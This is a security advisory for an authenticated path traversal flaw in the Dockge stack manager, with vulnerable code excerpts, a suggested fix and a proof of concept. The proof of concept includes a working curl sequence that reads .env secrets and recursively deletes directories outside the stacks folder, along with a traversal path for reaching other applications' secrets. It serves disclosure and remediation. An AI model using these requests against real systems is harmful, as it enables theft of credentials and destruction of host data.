Authenticated Path Traversal in stack name allows arbitrary .env/Compose file disclosure and arbitrary directory deletion
Advisory Details
GHSA-w8rm-ccw3-9jpc
- Title: Path Traversal Vulnerability in Dockge
- Description: An improper limitation of a pathname to a restricted directory (Path Traversal - CWE-22) vulnerability has been identified.
- Affected products:
- Ecosystem: npm / Other
- Package name: dockge
- Affected versions: (See advisory release info)
- Patched versions: (See advisory release info)
- Severity: High (CVSS Score: 8.8)
- Vector string / Metrics:
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None / Low
- User Interaction: None
- Scope: Unchanged
- Confidentiality: High
- Integrity: High
- Availability: High
- Weaknesses (CWE): Common weakness enumerator (CWE) - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (CWE-22)
- Credits:
- Accepted about 2 months ago
- HK4zCzi (Hồ Việt Khánh) - Role: Reporter (Choose a credit type: Analyst, Finder, Reporter, Coordinator, Remediation developer, Remediation reviewer, Remediation verifier, Tool, Sponsor, Other)
Summary
An authenticated user can supply a crafted stack name containing ../ sequences to
operations that are not subjected to the stack-name validation. Because Stack.getStack()
and the Stack.path getter build a filesystem path with path.join(stacksDir, name) without
calling validate() (the only place the ^[a-z0-9_-]+$ allow-list is enforced is save()),
the resulting path escapes the managed stacksDir.
This yields two primitives outside the intended directory:
- Arbitrary
.env/ Compose file disclosure via thegetStackevent (returnscomposeENVandcomposeYAMLread from the traversed directory). - Arbitrary recursive directory deletion via the
deleteStackevent (fs.rm(path, { recursive: true, force: true })on the traversed path).
If the instance runs with disableAuth enabled (a supported option that auto-logs-in as admin),
the same primitives become unauthenticated.
Details
The stack name is fully attacker-controlled and is only validated on the write path:
validate()enforces the allow-list, but is only called fromsave():// backend/stack.ts validate() { if (!this.name.match(/^[a-z0-9_-]+$/)) { throw new ValidationError("Stack name can only contain [a-z][0-9] _ - only"); } ... } async save(isAdd) { this.validate(); ... } // write path is protected- The read/delete/control paths build the path with no validation:
// backend/stack.ts get path() { return path.join(this.server.stacksDir, this.name); } // this.name not validated static async getStack(server, stackName, skipFSOperations = false) { let dir = path.join(server.stacksDir, stackName); // stackName not validated ... } - File contents are read by appending a fixed filename to the traversed directory:(Disclosure is therefore limited to files named
// backend/stack.ts get composeENV() { ... fs.readFileSync(path.join(this.path, ".env"), "utf-8") ... } get composeYAML() { ... fs.readFileSync(path.join(this.path, this._composeFileName), "utf-8") ... }.envor an accepted Compose filename —compose.yaml,compose.yml,docker-compose.yaml,docker-compose.yml— but in any directory the server process can read.) - Deletion runs
docker compose downthen deletes the directory recursively:(Deletion requires the target directory to contain a valid Compose file so that// backend/stack.ts async delete(socket) { let exitCode = await Terminal.exec(..., "docker", ["compose","down","--remove-orphans"], this.path); if (exitCode !== 0) throw new Error("Failed to delete, ..."); await fsAsync.rm(this.path, { recursive: true, force: true }); // arbitrary dir, recursive }docker compose downreturns exit code 0.)
The socket handlers only check the type of stackName, never its content, before calling
Stack.getStack():
// backend/agent-socket-handlers/docker-socket-handler.ts
agentSocket.on("deleteStack", async (name, callback) => {
checkLogin(socket);
if (typeof(name) !== "string") throw new ValidationError("Name must be a string");
const stack = await Stack.getStack(server, name); // no path validation
await stack.delete(socket);
});
agentSocket.on("getStack", async (stackName, callback) => {
checkLogin(socket);
if (typeof(stackName) !== "string") throw new ValidationError("Stack name must be a string");
const stack = await Stack.getStack(server, stackName);
callbackResult({ ok: true, stack: await stack.toJSON(socket.endpoint) }, callback);
});Affected events (all reach Stack.getStack() with an unvalidated name):
getStack, deleteStack, startStack, stopStack, restartStack, updateStack,
downStack, serviceStatusList, interactiveTerminal, leaveCombinedTerminal.
PoC
Environment used to reproduce
- Host: Windows 11 + Docker Desktop (engine 29.x). Container is
louislam/dockge:1.5.0. docker-compose.poc.yml:services: dockge: image: louislam/dockge:1.5.0 container_name: dockge-poc ports: [ "5001:5001" ] volumes: - /var/run/docker.sock:/var/run/docker.sock - ./poc-data:/app/data - ./poc-stacks:/opt/stacks environment: - DOCKGE_STACKS_DIR=/opt/stacks- Bring up + create the first admin user (
admin/MatKhau123):docker compose -f docker-compose.poc.yml up -d # create admin via the Socket.IO "setup" event: python -c "import socketio;s=socketio.Client();s.connect('http://localhost:5001',transports=['websocket']);print(s.call('setup',('admin','MatKhau123')));s.disconnect()"
Reproduce (automated PoC script verify-poc.py)
The script seeds a marker directory outside /opt/stacks containing a random token in
.env, then proves the read (token must appear in the response → no false positive) and the
deletion (marker directory disappears from disk).
verify-poc.py
pip install "python-socketio[client]"
python verify-poc.py --url http://localhost:5001 --user admin --pass "MatKhau123" \
--container dockge-poc --deleteObserved output:
[*] Test 1/2 — getStack('../dockge-poc-b16dd1c0')
[VULN] composeENV contains the secret token placed OUTSIDE /opt/stacks:
'SECRET=POC_TOKEN_ff2a7ee07e511fac5e1e03333e298575'
[*] Test 2/2 — deleteStack('../dockge-poc-b16dd1c0')
[VULN] The out-of-sandbox marker directory was deleted from disk.
Response: {'ok': True, 'msg': 'Deleted', 'msgi18n': True}
CONCLUSION: TRUE POSITIVEReproduce manually (raw Socket.IO over Engine.IO polling, no special tooling)
B="http://localhost:5001/socket.io/?EIO=4&transport=polling"
# 1) seed a secret OUTSIDE the stacks dir
docker exec dockge-poc sh -c 'mkdir -p /opt/burp-poc && echo SECRET=LEAKME > /opt/burp-poc/.env && printf "services:\n poc:\n image: hello-world\n" > /opt/burp-poc/compose.yaml'
# 2) handshake -> sid
SID=$(curl -s "$B" | sed 's/^0//' | python -c "import sys,json;print(json.load(sys.stdin)['sid'])")
# 3) connect, 4) login, 5) read poll, 6) exploit, 7) read poll
curl -s -X POST "$B&sid=$SID" --data-binary '40' >/dev/null
curl -s -X POST "$B&sid=$SID" --data-binary '420["login",{"username":"admin","password":"MatKhau123"}]' >/dev/null
curl -s "$B&sid=$SID" >/dev/null
curl -s -X POST "$B&sid=$SID" --data-binary '421["agent","","getStack","../burp-poc"]' >/dev/null
curl -s "$B&sid=$SID" # -> 431[{"ok":true,"stack":{... "composeENV":"SECRET=LEAKME\n" ...}}]
# Arbitrary deletion:
curl -s -X POST "$B&sid=$SID" --data-binary '421["agent","","deleteStack","../burp-poc"]' >/dev/null
curl -s "$B&sid=$SID" # -> 431[{"ok":true,"msg":"Deleted"}] ; /opt/burp-poc is now goneTo read another application's secrets, use a traversal name such as
../../../../home/<user>/<app> (returns that directory's .env).
Impact
- Confidentiality (High): any authenticated user can read
.env/ Compose files from any directory readable by the Dockge process (which typically runs as root with access to the Docker socket), disclosing database passwords, API keys and other secrets — including those of unrelated applications on the host and of other Dockge-managed stacks. - Integrity / Availability (High): any authenticated user can recursively delete any directory on the host that contains a Compose file, destroying other stacks or host data.
- With
disableAuthenabled, both become unauthenticated. - Type: CWE-22 Improper Limitation of a Pathname to a Restricted Directory (Path Traversal).
Suggested fix
Centralise the stack-name allow-list and enforce it on every path that resolves a stack name,
not just save():
static validateName(name: string) {
if (typeof name !== "string" || !/^[a-z0-9_-]+$/.test(name)) {
throw new ValidationError("Invalid stack name");
}
}
// call Stack.validateName(stackName) at the top of getStack() and in the constructorDefense in depth: after path.resolve(), assert the result is inside server.stackDirFullPath
(e.g. resolved === base || resolved.startsWith(base + path.sep)) before any fs/docker compose
operation.
Source: louislam/dockge